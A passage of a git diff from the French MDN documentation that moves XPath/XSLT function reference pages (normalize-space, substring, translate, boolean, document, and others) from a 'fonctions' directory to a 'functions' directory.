  • Pour les nœuds autres que les nœuds element et attribute, la chaîne retournée sera toujours une chaîne vide. -
-

Définition

-

XPath 1.0, section 4.1. -

-

Support Gecko

-

Supportée. -

Interwiki Languages Links -

-
-
-{{ languages( { "en": "en/XPath/Functions/namespace-uri", "ja": "ja/XPath/Functions/namespace-uri", "pl": "pl/XPath/Funkcje/namespace-uri" } ) }} diff --git a/files/fr/web/xpath/fonctions/normalize-space/index.html b/files/fr/web/xpath/fonctions/normalize-space/index.html deleted file mode 100644 index 6ca26b2e90..0000000000 --- a/files/fr/web/xpath/fonctions/normalize-space/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: normalize-space -slug: Web/XPath/Fonctions/normalize-space -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/normalize-space ---- -

{{ XsltRef() }}

- -


- La fonction normalize-space supprime les espaces de début et de fin d'une chaîne et remplace les successions d’espaces par une seule puis retourne la chaîne résultante.

- -

Syntaxe

- -
normalize-space(chaîne )
-
- -

Arguments

- -
-
chaîne
-
La chaîne à normaliser.
-
- -

Retour

- -

La chaîne nomalisée.

- -

Définition

- -

XPath 1.0, section 4.2.

- -

Support Gecko

- -

Supportée.

- -

Interwiki Languages Links

- -
- -

{{ languages( { "en": "en/XPath/Functions/normalize-space", "ja": "ja/XPath/Functions/normalize-space", "pl": "pl/XPath/Funkcje/normalize-space" } ) }}

diff --git a/files/fr/web/xpath/fonctions/not/index.html b/files/fr/web/xpath/fonctions/not/index.html deleted file mode 100644 index 49521ba9a2..0000000000 --- a/files/fr/web/xpath/fonctions/not/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: not -slug: Web/XPath/Fonctions/not -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/not ---- -

-{{ XsltRef() }} -


-La fonction not évalue une expression booléenne et retourne la valeur opposée. -

-

Syntaxe

-
not( expression )
-
-

Arguments

-
expression (optionnel) -
L'expression est évaluée exactement comme si elle était passée en tant qu'argument à la fonction boolean(). -
-

Retour

-

True pour une expression évaluée à false ; false pour une expression évaluée à true. -

-

Notes

-
  • Cette fonction devrait se comporter de façon identique à la fonction boolean(), excepté qu'elle retourne la valeur opposée. -
-

Définition

-

XPath 1.0, section 4.3. -

-

Support Gecko

-

Supportée. -

Interwiki Languages Links -

-
-
-{{ languages( { "en": "en/XPath/Functions/not", "ja": "ja/XPath/Functions/not", "pl": "pl/XPath/Funkcje/not" } ) }} diff --git a/files/fr/web/xpath/fonctions/number/index.html b/files/fr/web/xpath/fonctions/number/index.html deleted file mode 100644 index c230413856..0000000000 --- a/files/fr/web/xpath/fonctions/number/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: number -slug: Web/XPath/Fonctions/number -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/number ---- -

-{{ XsltRef() }} -


-La fonction number convertit un objet en un nombre et retourne ce nombre. -

-

Syntaxe

-
number( [objet] )
-
-

Arguments

-
objet (optionnel) -
L'objet à convertir en nombre. -
-

Retour

-

Le nombre résultant après conversion de l'objet. -

-

Notes

-
  • Les chaînes sont converties en nombre en enlevant les espaces précédant le nombre dans la chaîne et en ignorant tout ce qui suit le nombre. Si la chaîne ne correspond pas à ce motif, alors elle est convertie en NaN
  • Le booléen true est converti en 1. False est converti en 0.
  • Un ensemble de nœuds est d'abord converti en chaîne comme lors d'un appel à la fonction string() puis il est traité de la même façon qu'une chaîne. -
  • Un objet qui n'est pas d'un des quatre types de base est converti en nombre avec une méthode qui dépend de son type.
-

Définition

-

XPath 1.0, section 4.4. -

-

Support Gecko

-

Supportée. -

Interwiki Languages Links -

-
-
-{{ languages( { "en": "en/XPath/Functions/number", "ja": "ja/XPath/Functions/number", "pl": "pl/XPath/Funkcje/number" } ) }} diff --git a/files/fr/web/xpath/fonctions/position/index.html b/files/fr/web/xpath/fonctions/position/index.html deleted file mode 100644 index fb746d8286..0000000000 --- a/files/fr/web/xpath/fonctions/position/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: position -slug: Web/XPath/Fonctions/position -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/position ---- -

{{ XsltRef() }}

- -


- La fonction position retourne un nombre égal à la position du contexte dans le contexte d'évaluation d'expression.

- -

Syntaxe

- -
position()
-
- -

Retour

- -

Un nombre entier égal à la position du contenu dans le contexte d'évaluation d'expression.

- -

Notes

- -
    -
  • Notez que la numérotation de la position d'un n&oelig:ud dans un contexte commence à 1. Le premier nœud a donc la position 1.
    • -
- -
    -
  • Le contexte est déterminé par le reste du chemin :
    • -
- -
<xsl:template match="//a[position() = 5]">
- <!-- cet exemple 'attrape' le cinquième élément "a"
-         n'importe où dans le document. -->
-</xsl:template>
-
- -
<xsl:template match="//div[@class='foo']/bar[position() = 1]">
- <!-- cet exemple 'attrape' le premier
-         élément "bar" enfant d'un élément "div"
-         avec un attribut "class" valant "foo" -->
-</xsl:template>
-
- -

Définition

- -

XPath 1.0, section 4.1.

- -

Support Gecko

- -

Supportée.

- -

Interwiki Languages Links

- -
 
- -

{{ languages( { "en": "en/XPath/Functions/position", "ja": "ja/XPath/Functions/position", "pl": "pl/XPath/Funkcje/position" } ) }}

diff --git a/files/fr/web/xpath/fonctions/round/index.html b/files/fr/web/xpath/fonctions/round/index.html deleted file mode 100644 index 3383b0f74c..0000000000 --- a/files/fr/web/xpath/fonctions/round/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: round -slug: Web/XPath/Fonctions/round -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/round ---- -

-{{ XsltRef() }} -


-La fonction round retourne le nombre entier le plus proche d'un nombre donné. -

-

Syntaxe

-
round( décimal )
-
-

Arguments

-
décimal -
Le nombre décimal à arrondir. -
-

Retour

-

Le plus proche nombre entier, qu'il soit plus grand, plus petit ou égal à decimal. -

-

Notes

-
  • -0.5 est arrondi à zéro négatif. 0.4 est arrondi à zéro positif. -
-

Définition

-

XPath 1.0, section 4.4. -

-

Support Gecko

-

Supportée. -

Interwiki Languages Links -

-
-
-{{ languages( { "en": "en/XPath/Functions/round", "ja": "ja/XPath/Functions/round", "pl": "pl/XPath/Funkcje/round" } ) }} diff --git a/files/fr/web/xpath/fonctions/starts-with/index.html b/files/fr/web/xpath/fonctions/starts-with/index.html deleted file mode 100644 index 94c8e8d734..0000000000 --- a/files/fr/web/xpath/fonctions/starts-with/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: starts-with -slug: Web/XPath/Fonctions/starts-with -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/starts-with ---- -

{{ XsltRef() }}

-


-La fonction starts-with vérifie si la première chaîne débute par la seconde, et retourne true ou false.

-

Syntaxe

-
starts-with( meule , aiguille)
-
-

Arguments

-
meule
La chaîne dans laquelle chercher.
aiguille
La chaîne à rechercher.
-

Retour

-

true si meule débute par aiguille. Autrement, false.

-

Définition

-

XPath 1.0, section 4.2.

-

Support Gecko

-

Supportée.

-

Interwiki Languages Links

- -

{{ languages( { "en": "en/XPath/Functions/starts-with", "ja": "ja/XPath/Functions/starts-with", "pl": "pl/XPath/Funkcje/starts-with" } ) }}

diff --git a/files/fr/web/xpath/fonctions/string-length/index.html b/files/fr/web/xpath/fonctions/string-length/index.html deleted file mode 100644 index 3e983b4575..0000000000 --- a/files/fr/web/xpath/fonctions/string-length/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: string-length -slug: Web/XPath/Fonctions/string-length -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/string-length ---- -

-{{ XsltRef() }} -


-La fonction string-length retourne le nombre de caractères dans une chaîne donnée. -

-

Syntaxe

-
string-length( [chaîne] )
-
-

Arguments

-
chaîne (optionnel) -
La chaîne à évaluer. S'il est omis, la chaîne utilisée sera le noeud de contexte converti en chaîne. -
-

Retour

-

Un entier égal au nombre de caractères dans la chaîne. -

-

Définition

-

XPath 1.0, section 4.2. -

-

Support Gecko

-

Supportée. -

Interwiki Languages Links -

-
-
-{{ languages( { "en": "en/XPath/Functions/string-length", "ja": "ja/XPath/Functions/string-length", "pl": "pl/XPath/Funkcje/string-length" } ) }} diff --git a/files/fr/web/xpath/fonctions/string/index.html b/files/fr/web/xpath/fonctions/string/index.html deleted file mode 100644 index 00f0a8e17b..0000000000 --- a/files/fr/web/xpath/fonctions/string/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: string -slug: Web/XPath/Fonctions/string -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/string ---- -

-{{ XsltRef() }} -


-La fonction string convertit l'argument passé en une chaîne. -

-

Syntaxe

-
string( [objet] )
-
-

Arguments

-
objet (optionnel) -
L'objet à convertir en une chaîne. Si il est omis, le nœud du contexte est utilisé. -
-

Retour

-

Une chaîne. -

-

Notes

-
  • Si l'objet est un ensemble de nœuds, la valeur de la chaîne du premier nœud de l'ensemble est retournée. -
  • Un nombre est converti comme suit : -
    • NaN est converti en la chaîne NaN. -
    • Zéro positif est converti en 0. -
    • Zéro négatif est converti en 0. -
    • Infini positif est converti en la chaîne Infinity. -
    • Infini négatif est converti en la chaîne -Infinity. -
    • Les nombres décimaux entre -1 et 1 sont convertis en chaîne comportant un unique 0 avant le séparateur décimale. -
    -
-

Définition

-

XPath 1.0, section 4.2. -

-

Support Gecko

-

Supportée. -

Interwiki languages Links -

-
-
-{{ languages( { "en": "en/XPath/Functions/string", "ja": "ja/XPath/Functions/string", "pl": "pl/XPath/Funkcje/string" } ) }} diff --git a/files/fr/web/xpath/fonctions/substring-after/index.html b/files/fr/web/xpath/fonctions/substring-after/index.html deleted file mode 100644 index ba4e4eb8bc..0000000000 --- a/files/fr/web/xpath/fonctions/substring-after/index.html +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: substring-after -slug: Web/XPath/Fonctions/substring-after -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/substring-after ---- -

-{{ XsltRef() }} -


-La fonction substring-after() retourne la partie d'une chaîne donnée suivant une sous-chaîne donnée. -

-

Syntaxe

-
substring-after( bottedefoin , aiguille )
-
-

Arguments

-
bottedefoin -
La chaîne à évaluer. Un extrait de cette chaîne sera retourné. -
-
aiguille -
La sous-chaîne à rechercher. Tout le contenu se trouvant après la première occurrence de aiguille dans la chaîne bottedefoin sera retourné. -
-

Retour

-

Une chaîne. -

-

Exemples

- -
Exemple XPath Sortie
<xsl:value-of select="substring-after('1999/04/01','/')" /> 04/01
substring-after('aa-bb','-') bb
substring-after('aa-bb','a') a-bb
substring-after('aa-bb','b') b
substring-after('aa-bb','q') (empty string)
-

Définition

-

XPath 1.0, section 4.2. -

-

Support Gecko

-

Supportée. -

Interwiki languages Links -

-
-
-{{ languages( { "en": "en/XPath/Functions/substring-after", "ja": "ja/XPath/Functions/substring-after", "pl": "pl/XPath/Funkcje/substring-after" } ) }} diff --git a/files/fr/web/xpath/fonctions/substring-before/index.html b/files/fr/web/xpath/fonctions/substring-before/index.html deleted file mode 100644 index 5542b2c0cb..0000000000 --- a/files/fr/web/xpath/fonctions/substring-before/index.html +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: substring-before -slug: Web/XPath/Fonctions/substring-before -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/substring-before ---- -

-{{ XsltRef() }} -


-La fonction substring-before() retourne retourne la partie d'une chaîne donnée précédant une sous-chaîne donnée. -

-

Syntaxe

-
substring-before( bottedefoin , aiguille )
-
-

Arguments

-
bottedefoin -
La chaîne à évaluer. Un extrait de cette chaîne sera retourné. -
-
aiguille -
La sous-chaîne à rechercher. Tout le contenu se trouvant avant la première occurrence de aiguille dans la chaîne bottedefoin sera retourné. -
-

Retour

-

Une chaîne. -

-

Exemples

- -
XPath Example Output
<xsl:value-of select="substring-before('1999/04/01','/')" /> 1999
substring-before('aa-bb','-') aa
substring-before('aa-bb','a') (empty string)
substring-before('aa-bb','b') aa-
substring-before('aa-bb','q') (empty string)
-

Définition

-

XPath 1.0, section 4.2. -

-

Support Gecko

-

Supportée. -

Interwiki Languages Links -

-
-
-{{ languages( { "en": "en/XPath/Functions/substring-before", "ja": "ja/XPath/Functions/substring-before", "pl": "pl/XPath/Funkcje/substring-before" } ) }} diff --git a/files/fr/web/xpath/fonctions/substring/index.html b/files/fr/web/xpath/fonctions/substring/index.html deleted file mode 100644 index 0ac5572b19..0000000000 --- a/files/fr/web/xpath/fonctions/substring/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: substring -slug: Web/XPath/Fonctions/substring -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/substring ---- -

-{{ XsltRef() }} -


-La fonction substring retourne une partie d'une chaîne donnée. -

-

Syntaxe

-
substring( chaîne , début [, longueur] )
-
-

Arguments

-
chaîne
La chaîne à évaluer. -
-
début -
La position dans la chaîne où commence la sous-chaîne. -
-
longueur (optionnel) -
La longueur de la sous-chaîne à extraire. S'il est omis, la chaîne retournée contiendra tous les caractères depuis la position début jusqu'à la fin de la chaîne. -
-

Retour

-

Une chaîne. -

-

Notes

-

Comme pour les autres fonctions XPath, les positions ne sont pas comptées à partir de zéro. Le premier caractère de la chaîne est à la position 1. -

-

Définition

-

XPath 1.0, section 4.2. -

-

Support Gecko

-

Supportée. -

Interwiki Languages Links -

-
-
-{{ languages( { "en": "en/XPath/Functions/substring", "es": "es/XPath/Funciones/substring", "ja": "ja/XPath/Functions/substring", "pl": "pl/XPath/Funkcje/substring" } ) }} diff --git a/files/fr/web/xpath/fonctions/sum/index.html b/files/fr/web/xpath/fonctions/sum/index.html deleted file mode 100644 index 9b185c65d7..0000000000 --- a/files/fr/web/xpath/fonctions/sum/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: sum -slug: Web/XPath/Fonctions/sum -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/sum ---- -

-{{ XsltRef() }} -


-La fonction sum retourne un nombre qui est la somme des valeurs numériques de chaque nœud d'un ensemble de nœuds donné. -

-

Syntaxe

-
sum( ensemble-de-nœuds )
-
-

Arguments

-
ensemble-de-nœuds -
L'ensemble de nœuds à évaluer. Chaque nœud de l'ensemble est évalué comme s'il était passé à la fonction number(), et la somme des nombres résultants est retournée. -
-

Retour

-

Un nombre. -

-

Notes

-

(Aucune) -

-

Définition

-

XPath 1.0, section 4.3. -

-

Support Gecko

-

Supportée. -

Interwiki languages Links -

-
-
-{{ languages( { "en": "en/XPath/Functions/sum", "ja": "ja/XPath/Functions/sum", "pl": "pl/XPath/Funkcje/sum" } ) }} diff --git a/files/fr/web/xpath/fonctions/system-property/index.html b/files/fr/web/xpath/fonctions/system-property/index.html deleted file mode 100644 index 3ac02cbcc4..0000000000 --- a/files/fr/web/xpath/fonctions/system-property/index.html +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: system-property -slug: Web/XPath/Fonctions/system-property -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/system-property ---- -

-{{ XsltRef() }} -


-La fonction system-property() retourne un objet représentant la propriété système donnée. -

-

Syntaxe

-
system-property( nom )
-
-

Arguments

-
nom (optionnel) -
Le nom de la propriété système. L'argument s'évaluer en une chaîne qui est un QName. Le QName est développé en un nom à l'aide des déclarations d'espaces de nommage s'appliquant à l'expression. La fonction system-property() retourne un objet représentant la valeur de la propriété système identifiée par le nom. Si cette propriété système n'existe pas, une chaîne vide est retournée. -
-

Retour

-

Un objet représentant le propriété système donnée. -

-

Notes

-
  • xsl:version, un nombre correspondant à la version de XSLT implémentée par le processeur ; pour les processeurs XSLT implémentant la version de XSLT définit dans ce document, ce nombre est 1.0. -
  • xsl:vendor, une chaîne identifiant le vendeur du processeur XSLT. -
  • xsl:vendor-url, une chaîne contenant une URL qui identifie le vendeur du processeur XSLT ; généralement, il s'agit de l'adresse de la page Web du vendeur. -
-

Définition

-

XSLT 1.0, section 12.4. -

-

Support Gecko

-

Supportée. -

Interwiki languages Links -

{{ languages( { "en": "en/XPath/Functions/system-property", "pl": "pl/XPath/Funkcje/system-property" } ) }} diff --git a/files/fr/web/xpath/fonctions/translate/index.html b/files/fr/web/xpath/fonctions/translate/index.html deleted file mode 100644 index 5b6e480f22..0000000000 --- a/files/fr/web/xpath/fonctions/translate/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: translate -slug: Web/XPath/Fonctions/translate -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/translate ---- -

-{{ XsltRef() }} -


-La fonction translate évalue une chaîne et un ensemble de caractères à traduire, et retourne la chaîne traduite. -

-

Syntaxe

-
translate( chaîne , abc , XYZ )
-
-

Arguments

-
chaîne -
La chaîne à évaluer. -
-
abc -
La chaîne de caractères à remplacer. -
-
XYZ
La chaîne de caractères utilisée pour le remplacement. Le premier caractère de XYZ remplacera chaque occurrence du premier caractère de abc qui apparaît dans chaîne. -
-

Retour

-

La chaîne traduite. -

-

Notes

-

XPath note que la fonction translate n'est pas une solution suffisante pour la conversion majuscule/minuscule dans tous les langages. Une future version de XPath pourrait fournir des fonctions supplémentaires pour la conversion.

Cependant, translate est à l'heure actuelle la fonction la plus proche d'une fonction pouvant convertir une chaîne en bas de casse ou haut de casse. -

-

Exemple

-
<xsl:value-of select="translate('Le rapide renard.', 'abcdefghijklmnopqrstuvwxyz', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'") />
-
-

Sortie

-
LE RAPIDE RENARD.
-
-


-

-
  • Si abc est plus long que XYZ, alors chaque occurrence d'un caractère de abc qui n'a pas de correspondance dans XYZ sera supprimée. -
-

Exemple

-
<xsl:value-of select="translate('Le renard rapide.', 'renard', 'panda')" />
-
-

Sortie

-
La pandp pdpia.
-
-
  • Si XYZ contient plus de caractères que abc, les caractères supplémentaires sont ignorés. -
-

Définition

-

XPath 1.0, section 4.2. -

-

Support Gecko

-

Supportée. -

Interwiki Languages Links -

-
-
-{{ languages( { "en": "en/XPath/Functions/translate", "ja": "ja/XPath/Functions/translate", "pl": "pl/XPath/Funkcje/translate" } ) }} diff --git a/files/fr/web/xpath/fonctions/true/index.html b/files/fr/web/xpath/fonctions/true/index.html deleted file mode 100644 index 29851cc94c..0000000000 --- a/files/fr/web/xpath/fonctions/true/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: 'true' -slug: Web/XPath/Fonctions/true -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/true ---- -

-{{ XsltRef() }} -


-La fonction true retourne la valeur booléenne true. -

-

Syntaxe

-
true()
-
-

Retour

-

Le booléen true. -

-

Définition

-

XPath 1.0, section 4.3. -

-

Support Gecko

-

Supportée. -

Interwiki languages Links -

-
-
-{{ languages( { "en": "en/XPath/Functions/true", "es": "es/XPath/Funciones/true", "ja": "ja/XPath/Functions/true", "pl": "pl/XPath/Funkcje/true" } ) }} diff --git a/files/fr/web/xpath/fonctions/unparsed-entity-url/index.html b/files/fr/web/xpath/fonctions/unparsed-entity-url/index.html deleted file mode 100644 index 4aeb74b35f..0000000000 --- a/files/fr/web/xpath/fonctions/unparsed-entity-url/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: unparsed-entity-url -slug: Web/XPath/Fonctions/unparsed-entity-url -tags: - - Référence_XSLT -translation_of: Web/XPath/Functions/unparsed-entity-url ---- -

-{{ XsltRef() }} -


-La fonction unparsed-entity-url() retourne l'URI d'une entité non analysée avec le nom donné. C'est une donnée non-XML référencée dans le DTD du document source. -

-

Syntaxe

-
string unparsed-entity-url(chaîne)
-
-

Arguments

-
chaîne -
Le nom de l'entité non analysée. Si l'argument n'est pas une chaîne, il est converti suivant les règles de la fonction string(). Le nom doit être un nom XML. -
-

Retour

-

L'URI de l'entité non analysée récupérée dans la DTD, si elle existe. Autrement, une chaîne vide. -

-

Définition

-

XSLT 1.0, section 12.4.0 -

-

Support Gecko

-

Non supportée. -

Interwiki Languages Links -

{{ languages( { "en": "en/XPath/Functions/unparsed-entity-url", "pl": "pl/XPath/Funkcje/unparsed-entity-url" } ) }} diff --git a/files/fr/web/xpath/functions/boolean/index.html b/files/fr/web/xpath/functions/boolean/index.html new file mode 100644 index 0000000000..c48fd233c6 --- /dev/null +++ b/files/fr/web/xpath/functions/boolean/index.html @@ -0,0 +1,38 @@ +--- +title: boolean +slug: Web/XPath/Fonctions/boolean +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/boolean +--- +

+{{ XsltRef() }} +


+la fonction boolean évalue une expression et retourne true ou false. +

+

Syntaxe

+
boolean( expression )
+
+

Arguments

+
expression +
L'expression à évaluer. L'expression peut faire référence à des nombres, des ensembles de nœuds, comme à des valeurs booléennes. +
+

Retour

+

La valeur booléenne true ou false en fonction de l'évaluation de expression. +

+

Notes

+
  • Un nombre est évalué à false si c'est un zéro positif ou négatif ou NaN. Autrement, il est évalué à true. +
  • Un ensemble de nœuds est évalué à true s'il n'est pas vide. +
  • Une chaîne est évaluée à false si elle est vide. Autrement, elle est évaluée à true. +
  • Un objet de type autre que les quatre types de bases, est converti en booléen par une méthode qui dépend de son type. +
+

Définition

+

XPath 1.0, section 4.3. +

+

Support Gecko

+

Supportée. +

Interwiki Languages Links +

+
+
+{{ languages( { "en": "en/XPath/Functions/boolean", "ja": "ja/XPath/Functions/boolean", "pl": "pl/XPath/Funkcje/boolean" } ) }} diff --git a/files/fr/web/xpath/functions/ceiling/index.html b/files/fr/web/xpath/functions/ceiling/index.html new file mode 100644 index 0000000000..ca27303779 --- /dev/null +++ b/files/fr/web/xpath/functions/ceiling/index.html @@ -0,0 +1,36 @@ +--- +title: ceiling +slug: Web/XPath/Fonctions/ceiling +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/ceiling +--- +

+{{ XsltRef() }} +


+La fonction ceiling évalue un nombre décimal et retourne le plus petit nombre entier supérieur ou égal au nombre évalué. +

+

Syntaxe

+
ceiling( nombre )
+
+

Arguments

+
nombre +
Le nombre décimal à évaluer. +
+

Retour

+

Le plus petit entier supérieur ou égal à nombre. +

Par exemple : +

+
ceiling (5.2) = 6

+ceiling (-5.2) = -5
+
+

Définition

+

XPath 1.0, section 4.4. +

+

Support Gecko

+

Supportée. +

Interwiki Languages Links +

+
+
+{{ languages( { "en": "en/XPath/Functions/ceiling", "ja": "ja/XPath/Functions/ceiling", "pl": "pl/XPath/Funkcje/ceiling" } ) }} diff --git a/files/fr/web/xpath/functions/concat/index.html b/files/fr/web/xpath/functions/concat/index.html new file mode 100644 index 0000000000..b724dd4a1e --- /dev/null +++ b/files/fr/web/xpath/functions/concat/index.html @@ -0,0 +1,32 @@ +--- +title: concat +slug: Web/XPath/Fonctions/concat +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/concat +--- +

+{{ XsltRef() }} +


+La fonction concat concatène deux ou plusieurs chaînes et retourne la chaîne résultante. +

+

Syntaxe

+
concat( chaîne1 , chaîne2 [, chaînen]* )
+
+

Arguments

+
chaînen +
Cette fonction accepte deux arguments ou plus. Chacun est une chaîne. +
+

Retour

+

Une chaîne unique, résultat de la concaténation des chaînes passées en arguments à la fonction. +

+

Définition

+

XPath 1.0, section 4.2. +

+

Support Gecko

+

Supportée. +

Interwiki Languages Links +

+
+
+{{ languages( { "en": "en/XPath/Functions/concat", "ja": "ja/XPath/Functions/concat", "pl": "pl/XPath/Funkcje/concat" } ) }} diff --git a/files/fr/web/xpath/functions/contains/index.html b/files/fr/web/xpath/functions/contains/index.html new file mode 100644 index 0000000000..72be24ec8e --- /dev/null +++ b/files/fr/web/xpath/functions/contains/index.html @@ -0,0 +1,42 @@ +--- +title: contains +slug: Web/XPath/Fonctions/contains +translation_of: Web/XPath/Functions/contains +--- +

{{ XsltRef() }}

+ +


+ La fonction contains détermine si la chaîne passée en premier argument contient la chaîne passée en second argument et retourne le booléen true ou false.

+ +

Syntaxe

+ +
contains( meule , aiguille )
+
+ +

Arguments

+ +
+
meule
+
La chaîne dans laquelle chercher.
+
+ +
+
aiguille
+
La chaîne à rechercher dans meule
+
+ +

Retour

+ +

true si meule contient aiguille. Autrement, false.

+ +

Définition

+ +

XPath 1.0, section 4.2.

+ +

Support Gecko

+ +

Supportée.

+ +

Interwiki Languages Links

+ +

{{ languages( { "en": "en/XPath/Functions/contains", "es": "es/XPath/Funciones/contains", "ja": "ja/XPath/Functions/contains", "pl": "pl/XPath/Funkcje/contains" } ) }}

diff --git a/files/fr/web/xpath/functions/count/index.html b/files/fr/web/xpath/functions/count/index.html new file mode 100644 index 0000000000..d173536a77 --- /dev/null +++ b/files/fr/web/xpath/functions/count/index.html @@ -0,0 +1,32 @@ +--- +title: count +slug: Web/XPath/Fonctions/count +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/count +--- +

+{{ XsltRef() }} +


+La fonction count compte le nombre de nœuds dans un ensemble de nœuds et retourne un entier. +

+

Syntaxe

+
count( ensemble-de-nœuds )
+
+

Arguments

+
ensemble-de-nœuds +
L'ensemble de nœuds à compter. +
+

Retour

+

Un entier représentant le nombre de nœuds contenus dans l'ensemble. +

+

Définition

+

1.0, section 4.1. +

+

Support Gecko

+

Supportée. +

Interwiki Languages Links +

+
+
+{{ languages( { "en": "en/XPath/Functions/count", "ja": "ja/XPath/Functions/count", "pl": "pl/XPath/Funkcje/count" } ) }} diff --git a/files/fr/web/xpath/functions/current/index.html b/files/fr/web/xpath/functions/current/index.html new file mode 100644 index 0000000000..692ac83cc1 --- /dev/null +++ b/files/fr/web/xpath/functions/current/index.html @@ -0,0 +1,32 @@ +--- +title: current +slug: Web/XPath/Fonctions/current +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/current +--- +

+{{ XsltRef() }} +

La fonction current peut être utilisée pour obtenir le nœud courant dans une instruction XSLT. +

+

Syntaxe

+
current()
+
+

Retour

+

Un ensemble de nœuds contenant uniquement le nœud courant. +

+

Notes

+

Cette fonction est un ajout à XPath spécifique à XSLT. Elle ne fait pas partie de la bibliothèque de fonctions XPath core. +

Le nœud courant est toujours identique au nœud de contexte. Les deux exemples suivants sont sémantiquement équivalents : +

+
<xsl:value-of select="current()"/>
+
+
<xsl:value-of select="."/>
+
+

Définition

+

XSLT 1.0, section 12.4. +

+

Support Gecko

+

Supportée. +

Interwiki Languages Links +

{{ languages( { "en": "en/XPath/Functions/current", "pl": "pl/XPath/Funkcje/current" } ) }} diff --git a/files/fr/web/xpath/functions/document/index.html b/files/fr/web/xpath/functions/document/index.html new file mode 100644 index 0000000000..ad4f52bab4 --- /dev/null +++ b/files/fr/web/xpath/functions/document/index.html @@ -0,0 +1,43 @@ +--- +title: document +slug: Web/XPath/Fonctions/document +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/document +--- +

+{{ XsltRef() }} +


+La fonction document recherche un ensemble de nœuds dans un ou des documents externes et retourne l'ensemble de nœuds résultant. +

+

Syntaxe

+
document( URI [, ensemble-de-nœuds] )
+
+

Arguments

+
URI +
URI absolue ou relative du document à récupérer. L'URI peut également contenir un identifiant de fragment. +
+
ensemble-de-nœuds (optionnel) +
Une expression pointant vers un ensemble de nœuds du document externe, qui doit être retourné. +
+

Retour

+

Un ensemble de nœuds. +

+

Notes

+
  • Si l'URI contient un identifiant de fragment et que celui-ci peut être repérer dans le document externe, alors ce fragment sera traité comme la racine pour rechercher l'expression de l'argument ensemble-de-nœuds. Si l'argument ensemble-de-nœuds est omis, le fragment entier sera retourné. +
+
  • Si l'argument URI est un ensemble de nœuds et que le second argument est présent, chaque nœud de l'ensemble de nœuds sera évalué comme une URI séparée, et l'ensemble de nœuds retourné sera le même que si la fonction document avait été appelée plusieurs fois, et que les résultats avait été concaténés dans un unique ensemble de nœuds. +
+
  • D'autres situations particulières existent avec des comportements bien définis. Pour plus d'informations, consultez la documentation XSLT 1.0. +
+
  • Puisque l'URI est relative au document XSL, document("") retournera le nœud racine du document courant. +
+

Cette fonction est un ajout à XPath qui est spécifique à XSLT. Elle ne fait pas partie de la bibliothèque de fonctions de XPath core. +

+

Définition

+

XSLT 1.0, section 12.1. +

+

Support Gecko

+

Supportée. +

Interwiki Languages Links +

{{ languages( { "en": "en/XPath/Functions/document", "pl": "pl/XPath/Funkcje/document" } ) }} diff --git a/files/fr/web/xpath/functions/element-available/index.html b/files/fr/web/xpath/functions/element-available/index.html new file mode 100644 index 0000000000..f27dfbcccc --- /dev/null +++ b/files/fr/web/xpath/functions/element-available/index.html @@ -0,0 +1,29 @@ +--- +title: element-available +slug: Web/XPath/Fonctions/element-available +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/element-available +--- +

+{{ XsltRef() }} +


+La fonction element-available détermine si un élément est disponible et retourne la valeur booléenne true ou false. +

+

Syntaxe

+
element-available( QName )
+
+

Arguments

+
QName +
Doit s'évaluer en un QName valide. Le QName est développé en nom étendu à l'aide des déclarations d'espaces de nommage s'appliquant à l'expression. Le nom étendu est constitué d'une partie locale, une chaîne, et d'une URI d'espace de nommage. +
+

Retour

+

Retourne true si et seulement si le nom étendu est un nom d'instruction. Si le nom étendu a une URI d'espace de nommage égale à l'URI de l'espace de nommage XSLT, alors il se rapporte à un élément défini par XSLT. Autrement, il se rapporte à un élément d'extension. Si le nom étendu a une URI d'espace de nommage null, la fonction element-available retournera false. +

+

Définition

+

XSLT 1.0, section 15. +

+

Support Gecko

+

Supportée. +

Interwiki Languages Links +

{{ languages( { "en": "en/XPath/Functions/element-available", "pl": "pl/XPath/Funkcje/element-available" } ) }} diff --git a/files/fr/web/xpath/functions/false/index.html b/files/fr/web/xpath/functions/false/index.html new file mode 100644 index 0000000000..8b6e7a611a --- /dev/null +++ b/files/fr/web/xpath/functions/false/index.html @@ -0,0 +1,35 @@ +--- +title: 'false' +slug: Web/XPath/Fonctions/false +tags: + - Référence_XSLT +translation_of: Web/XPath/Functions/false +--- +

+{{ XsltRef() }} +


+La fonction false retourne le booléen false. +

+

Syntaxe

+
false()
+
+

Retour

+

